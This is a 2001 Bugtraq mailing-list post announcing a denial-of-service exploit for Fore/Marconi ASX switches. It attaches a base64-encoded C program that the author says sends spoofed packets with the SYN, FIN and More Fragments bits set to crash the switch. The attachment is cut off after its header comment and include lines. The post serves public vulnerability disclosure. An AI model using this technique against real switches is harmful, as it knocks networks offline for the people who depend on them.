|
Date: Tue, 20 Feb 2001 18:48:56 -0800 From: "J.K. Garvey" <jim@trig.org> To: BUGTRAQ@SECURITYFOCUS.COM Subject: Fore/Marconi ASX Switch DoS exploit --Boundary-=_XrJmOWFrxsjyBldbEFSArCBynEcd Content-Type: text/plain Content-Transfer-Encoding: 8bit Attached is a simple program that sets the SYN, FIN and More Fragments bits, which causes a DoS on Fore/Marconi ASX switches. I do not know if this works, but it performs the desired operations as Keith Pachulski described. Congrats to Keith for the discovery of this bug. Jim --Boundary-=_XrJmOWFrxsjyBldbEFSArCBynEcd Content-Type: text/x-c; name="asxswitch.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="asxswitch.c" LyoKVGhpcyBEb1MgYXR0YWNrIHdhcyBkaXNjb3ZlcmVkIGJ5IEtlaXRoIFBhY2h1bHNraSBhbmQg d3JpdHRlbiBieSBKLksuIEdhcnZleS4gVGhpcyBzaW1wbGUgcHJvZ3JhbSBzZXRzIHRoZSBTWU4s IEZJTiBhbmQgTW9yZSBGcmFnbWVudCBiaXRzIGFuZCBzZW5kcyB0aGlzIGNyYWZ0ZWQgcGFja2V0 IGZyb20gYSBzcG9vZmVkIGhvc3QgdG8gYSBkZXN0aW5lZCBGb3JlL01hcmNvbmkgQVNYIHN3aXRj aCwgd2hpY2ggY2F1c2VzIGl0IHRvIGNyYXNoLiBJIGhhdmUgbm8gaWRlYSBpZiB0aGlzIHdvcmtz LCBidXQgaXQgZG9lcyB3aGF0IEtlaXRoIFBhY2h1bHNraSBkZXNjcmliZWQuIAoqLwoKI2luY2x1 ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHNpZ25hbC5oPgojaW5j bHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPG5ldGRiLmg+CiNp bmNsdWRlIDxuZXRpbmV0L2luLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdW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